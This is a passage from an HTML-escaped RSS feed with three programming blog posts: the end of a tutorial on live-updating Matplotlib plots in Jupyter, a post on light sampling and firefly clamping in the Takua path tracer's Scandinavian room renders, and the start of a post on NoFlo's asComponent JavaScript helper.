&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    [&lt;span style="color: #e6db74;"&gt;r&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'$T_1$ measured'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;r&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'$T_2$ measured'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #75715e;"&gt;# [r'$T_1 set point$', r'$T_2 set point$'],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    [&lt;span style="color: #e6db74;"&gt;r&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'$Q_1$'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;r&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'$Q_2$'&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;colors &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    [&lt;span style="color: #e6db74;"&gt;'r:'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'b-'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    [&lt;span style="color: #e6db74;"&gt;'r:'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'bx'&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;plot_init&lt;/span&gt;(num_subplots&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;, x_labels&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;, y_labels&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; &lt;span style="color: #f92672;"&gt;not&lt;/span&gt; x_labels:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        x_labels &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [&lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;] &lt;span style="color: #f92672;"&gt;*&lt;/span&gt; num_subplots
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; &lt;span style="color: #f92672;"&gt;not&lt;/span&gt; y_labels:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        y_labels &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [&lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;] &lt;span style="color: #f92672;"&gt;*&lt;/span&gt; num_subplots
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    fig &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; plt&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;figure(figsize&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;(&lt;span style="color: #ae81ff;"&gt;12&lt;/span&gt;,&lt;span style="color: #ae81ff;"&gt;6&lt;/span&gt;), dpi&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;80&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    fig&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;subplots_adjust(hspace&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;.5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    axes &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; i &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;, num_subplots &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        ax &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; plt&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;subplot(num_subplots, &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;, i)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        ax&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;grid()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; x_labels[i&lt;span style="color: #f92672;"&gt;-&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            ax&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;set_xlabel(x_labels[i&lt;span style="color: #f92672;"&gt;-&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]) 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;if&lt;/span&gt; y_labels[i&lt;span style="color: #f92672;"&gt;-&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            ax&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;set_ylabel(y_labels[i&lt;span style="color: #f92672;"&gt;-&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]) 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        axes&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;append(ax)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; fig, axes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;plot_update&lt;/span&gt;(fig, axes, xs, ys, colors, labels):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; i &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(len(axes)):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; j &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(len(ys[i])):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            axes[i]&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;plot(xs, ys[i][j], colors[i][j])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        axes[i]&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;legend(labels&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;labels[i])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    fig&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;canvas&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;draw()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;fig, axes &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; plot_init(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    num_subplots&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;2&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    x_labels&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;[&lt;span style="color: #66d9ef;"&gt;None&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'Time (sec)'&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    y_labels&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;[&lt;span style="color: #e6db74;"&gt;'Temps (C)'&lt;/span&gt;, &lt;span style="color: #e6db74;"&gt;'Heaters'&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; i &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; range(&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;, n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        ys &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            [T1s[:i], T2s[:i]],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;            [Q1s[:i], Q2s[:i]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        plot_update(fig, axes, m_time[:i], ys, colors, labels)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        time&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;sleep(&lt;span style="color: #ae81ff;"&gt;0.2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;except&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;KeyboardInterrupt&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span style="color: #66d9ef;"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://stackoverflow.com/questions/45384072/jupyter-notebook-matplotlib-figures-show-up-small-until-cell-is-completed"&gt;Stack Overflow: Jupyter notebook matplotlib figures show up small until cell is completed&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Sat, 24 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/02/Dynamically-updating-Matplotlib-figures-in-Jupyter-notebooks/</guid></item><item><title>Scandinavian Room Scene</title><link>https://blog.yiningkarlli.com/2018/02/scandinavian-room-scene.html</link><description>&lt;p&gt;Almost three years ago, I rendered a small &lt;a href="https://blog.yiningkarlli.com/2015/05/complex-room-renders.html"&gt;room interior scene&lt;/a&gt; to test an indoor, interior illumination scenario.
Since then, a lot has changed in Takua, so I thought I’d revisit an interior illumination test with a much more complex, difficult scene.
I don’t have much time to model stuff anymore these days, so instead I bought &lt;a href="https://evermotion.org/shop/show_product/archinteriors-vol-48/14307"&gt;Evermotion’s Archinteriors Volume 48&lt;/a&gt; collection, which is labeled as Scandinavian interior room scenes (I don’t know what’s particularly Scandinavian about these scenes, but that’s what the label said) and ported one of the scenes to Takua’s scene format.
Instead of simply porting the scene as-is, I modified and added various things in the scene to make it feel a bit more customized.
See if you can spot what they are:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam0.0.png"&gt;&lt;img alt="Figure 1: A Scandinavian room interior, rendered in Takua a0.8 using VCM." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam0.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I had a lot of fun adding all of my customizations!
I brought over some props from the old complex room scene, such as the purple flowers and vase, a few books, and Utah teapot tray, and also added a few new fun models, such as the MacBook Pro in the back and the copy of Physically Based Rendering 3rd Edition in the foreground.
The black and white photos on the wall are crops of my &lt;a href="https://blog.yiningkarlli.com/2016/07/minecraft-in-renderman-ris.html"&gt;Minecraft renders&lt;/a&gt;, and some of the books against the back wall have fun custom covers and titles.
Even all of the elements that came with the original scene are re-shaded.
The original scene came with Vray’s standard VrayMtl as the shader for everything; Takua’s base shader parameterization draws some influence from Vray, but also draws from the Disney Bsdf and Arnold’s AlShader and as a result has a parameterization that is sufficiently different that I wound up just re-shading everything instead of trying to write some conversion tool.
For the most part I was able to re-use the textures that came with the scene to drive various shader parameters.
The skydome is from the noncommercial version of &lt;a href="https://www.viz-people.com/shop/hdri-v1/"&gt;VizPeople’s HDRi v1 collection&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Speaking of the skydome… the main source of illumination in this scene comes from the sun in the skydome, which presented a huge challenge for efficient light sampling.
Takua has had domelight/environment map importance sampling using CDF inversion sampling for a long time now, which helps a lot, but the indoor nature of this scene still made sampling the sun difficult.
Sampling the sun in an outdoor scene is fairly efficient since most rays will actually reach the sun, but in indoor scenes, importance sampling the sun becomes inefficient without taking occlusion into account since only rays that actually make it outdoors through windows can reach the sun.
The best known method currently for handling domelight importance sampling through windows in an indoor scene is &lt;a href="https://benedikt-bitterli.me/PMEMS.pdf"&gt;Portal Masked Environment Map Sampling (PMEMS) by Bitterli et al&lt;/a&gt;.
I haven’t actually implemented PMEMS yet though, so the renders in this post all wound up requiring a huge number of samples per pixel to render; I intend on implementing PMEMS at some point in the near future.&lt;/p&gt;

&lt;p&gt;Apart from the skydome, this scene also contains several other practical light sources, such as the lamp’s bulb, the MacBook Pro’s screen, and the MacBook Pro’s glowing Apple logo on the back of the screen (which isn’t even visible to camera, but is still enabled since it provides a tiny amount of light against the back wall!).
In addition to choosing where on a single light to sample, choosing which light to sample is also an extremely important and difficult problem.
Until this rendering this scene, I hadn’t really put any effort into efficiently selecting which light to sample.
Most of my focus has been on the integration part of light transport, so Takua’s light selection has just been uniform random selection.
Uniform random selection is terrible for scenes that contain multiple lights with highly varying emission between different lights, which is absolutely the case for this scene.
Like any other importance sampling problem, the ideal solution is to send rays towards lights with a probability proportional to the amount of illumination we expect each light to contribute to each ray origin point.&lt;/p&gt;

&lt;p&gt;I implemented a light selection strategy where the probability of selecting each light is weighted by the total emitted power of each light; essentially this boils down to estimating the total emitted power of each light according to the light’s surface texture and emission function, building a CDF across all of the lights using the total emission estimates, and then using standard CDF inversion sampling to pick lights.
This strategy works significantly better than uniform random selection and made a huge difference in render speed for this scene, as seen in Figures 2 through 4.
Figure 2 uses uniform random light selection with 128 spp; note how the area lit by the wall-mounted lamp is well sampled, but the image overall is really noisy.
Figure 3 uses power-weighted light selection with the same spp as Figure 2; the lamp area is more noisy than in Figure 2, but the render is less noisy overall.
Notably, Figure 3 also took a third of the time compared to Figure 2 for the same sample count; this is because in this scene, sending rays towards the lamp is significantly more expensive due to heavier geometry than sending rays towards the sun, even when rays towards the sun get occluded by the walls.
Figure 4 uses power-weighted light selection again, but is equal-time to Figure 2 instead of equal-spp; note the significant noise reduction:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.0.uniform.png"&gt;&lt;img alt="Figure 2: The same frame from Figure 1, 128 spp using uniform random light selection. Average pixel RMSE compared to Figure 1: 0.439952." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.0.uniform.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.0.power.equalsample.png"&gt;&lt;img alt="Figure 3: Power-weighted light selection, with equal spp to Figure 2. Average pixel RMSE compared to Figure 1: 0.371441." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.0.power.equalsample.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.0.power.equaltime.png"&gt;&lt;img alt="Figure 4: Power-weighted light selection again, but this time with equal time instead of equal spp to Figure 2. Average pixel RMSE compared to Figure 1: 0.315465." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.0.power.equaltime.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room_sampling_crops.png"&gt;&lt;img alt="Figure 5: Zoomed crops of Figures 2 through 4. From left to right: uniform random sampling, equal sample power-weighted sampling, and equal time power-weighted sampling." src="https://blog.yiningkarlli.com/content/images/2018/Feb/room_sampling_crops.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, power-weighted light selection still is not even close to being the most optimal technique possible; this technique completely ignores occlusion and distance, which are extremely important.
Unfortunately, because occlusion and distance to each light varies for each point in space, creating a light selection strategy that takes occlusion and distance into account is extremely difficult and is a subject of continued research in the field.
In Hyperion, we use a cache point system, which we described on page 97 of our &lt;a href="https://graphics.pixar.com/library/ProductionVolumeRendering/paper.pdf"&gt;SIGGRAPH 2017 Production Volume Rendering course notes&lt;/a&gt;.
Other published research on the topic includes &lt;a href="https://cgl.ethz.ch/publications/papers/paperMue17a.php"&gt;Practical Path Guiding for Efficient Light-Transport Simulation&lt;/a&gt; by Muller et al, &lt;a href="http://cgg.mff.cuni.cz/~jaroslav/papers/2014-onlineis/"&gt;On-line Learning of Parametric Mixture Models for Light Transport Simulation&lt;/a&gt; by Vorba et al, &lt;a href="http://cgg.mff.cuni.cz/~jaroslav/papers/2016-productis/2016-productis-paper.pdf"&gt;Product Importance Sampling for Light Transport Path Guiding&lt;/a&gt; by Herholz et al, &lt;a href="https://arxiv.org/abs/1701.07403"&gt;Learning Light Transport the Reinforced Way&lt;/a&gt; by Dahm et al, and more.
At some point in the future I’ll revisit this topic.&lt;/p&gt;

&lt;p&gt;For a long time now, Takua has also had a simple interactive mode where the camera can be moved around in a non-shaded/non-lit view; I used this mode to interactively scout out some interesting and fun camera angles for some more renders.
Being able to interactively scout in the same renderer used to final rendering is an extremely powerful tool; instead of guessing at depth of field settings and such, I was able to directly set and preview depth of field with immediate feedback.
Unfortunately some of the renders below are noisier than I would like, due to the previously mentioned light sampling difficulties.
All of the following images are rendered using Takua a0.8 with VCM:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam1.0.png"&gt;&lt;img alt="Figure 6: A MacBook Pro running Takua Renderer to produce Figure 1." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam1.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam2.0.png"&gt;&lt;img alt="Figure 7: Physically Based Rendering Third Edition sitting on the coffee table." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam2.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam3.0.png"&gt;&lt;img alt="Figure 8: Closeup of the same purple flowers from the old Complex Room scene." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam3.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam4.0.png"&gt;&lt;img alt="Figure 9: Utah Teapot tea set on the coffee table." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam4.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam5.0.png"&gt;&lt;img alt="Figure 10: A glass globe with mirror-polished metal continents, sitting in the sunlight from the window." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam5.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam6.0.png"&gt;&lt;img alt="Figure 11: Close-up of two glass and metal mugs filled with tea." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam6.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Beyond difficult light sampling, generally complex and difficult light transport with lots of subtle caustics also wound up presenting major challenges in this scene.
For example, note the subtle caustics on the wall in the upper right hand part of Figure 10; those caustics are actually visibly not fully converged, even though the sample count across Figure 10 was in the thousands of spp!
I intentionally did not use adaptive sampling in any of these renders; instead, I wanted to experiment with a common technique used in a lot of modern production renderers for noise reduction: in-render firefly clamping.
My adaptive sampler is already capable of detecting firefly pixels and driving more samples at fireflies in the hopes of accelerating variance reduction on firefly pixels, but firefly clamping is a much more crude, biased, but nonetheless effective technique.
The idea is to detect on each pixel spp if a returned sample is an outlier relative to all of the previously accumulated samples, and discard or clamp the sample if it in fact is an outlier.
Picking what threshold to use for outlier detection is a very manual process; even Arnold provides a &lt;a href="https://support.solidangle.com/display/AFMUG/Clamping"&gt;tuning max-value parameter&lt;/a&gt; for firefly clamping.&lt;/p&gt;

&lt;p&gt;I wanted to be able to directly compare the render with and without firefly clamping, so I implemented firefly clamping on top of Takua’s AOV system.
When enabled, firefly clamping mode produces two images for a single render: one output with firefly clamping enabled, and one with clamping disabled.
I tried re-rendering Figure 10 using unidirectional pathtracing and a relatively low spp count to produce as many fireflies as I could, for a clearer comparison.
For this test, I set the firefly threshold to be samples that are at least 250 times brighter than the estimated pixel value up to that sample.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam5.fireflies.png"&gt;&lt;img alt="Figure 12: The same render as Figure 10, but rendered with a lower sample count and using unidirectional pathtracing instead of VCM to draw out more fireflies." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam5.fireflies.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Feb/room.cam5.nofireflies.png"&gt;&lt;img alt="Figure 13: From the same run of Takua Renderer as Figure 12, but the firefly-clamped render output instead of the raw render." src="https://blog.yiningkarlli.com/content/images/2018/Feb/preview/room.cam5.nofireflies.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note how Figure 13 appears to be completely firefly-free compared to Figure 12, and how Figure 13 doesn’t have visible caustic noise on the walls compared to Figure 10.
However, notice how Figure 13 is also missing significant illumination in some areas, such as in the corner of the walls near the floor behind the wooden step ladder, or in the deepest parts of the purple flower bunch.
Finding a threshold that eliminates all fireflies without loosing significant illumination in other areas is very difficult or, in some cases, impossible since some of these types of light transport essentially manifest as firefly-like high energy samples that only smooth out over time.
For the final renders in Figure 1 and Figures 6 through 11, I wound up not actually using any firefly clamping.
While biased noise-reduction techniques are a necessary evil in actual production, I expect that I’ll try to avoid relying on firefly clamping in the vast majority of what I do with Takua, since Takua is meant to just be a brute-force, hobby kind of thing anyway.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Fri, 23 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2018/02/scandinavian-room-scene.html</guid></item><item><title>asComponent: turn any JavaScript function into a NoFlo component</title><link>https://bergie.iki.fi/blog/ascomponent/</link><description>&lt;p&gt;Version 1.1 of &lt;a href="https://noflojs.org"&gt;NoFlo&lt;/a&gt; shipped this week with a new convenient way to write components. With the &lt;code class="language-plaintext highlighter-rouge"&gt;noflo.asComponent&lt;/code&gt; helper you can turn any JavaScript function into a well-behaved NoFlo component with minimal boilerplate.&lt;/p&gt;

&lt;p&gt;Usage of &lt;code class="language-plaintext highlighter-rouge"&gt;noflo.asComponent&lt;/code&gt; is quite simple:&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;noflo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case we have a function that doesn’t take arguments. We detect this, and produce a component with a single “bang” port for invoking the function:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Math.random as component" src="https://d2vqpl3tx84ay5.cloudfront.net/500x/ascomponent-result.png" /&gt;&lt;/p&gt;

&lt;p&gt;You can also amend the component with helpful information like a textual description and and icon:&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;noflo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;random&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Generate a random number&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;random&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

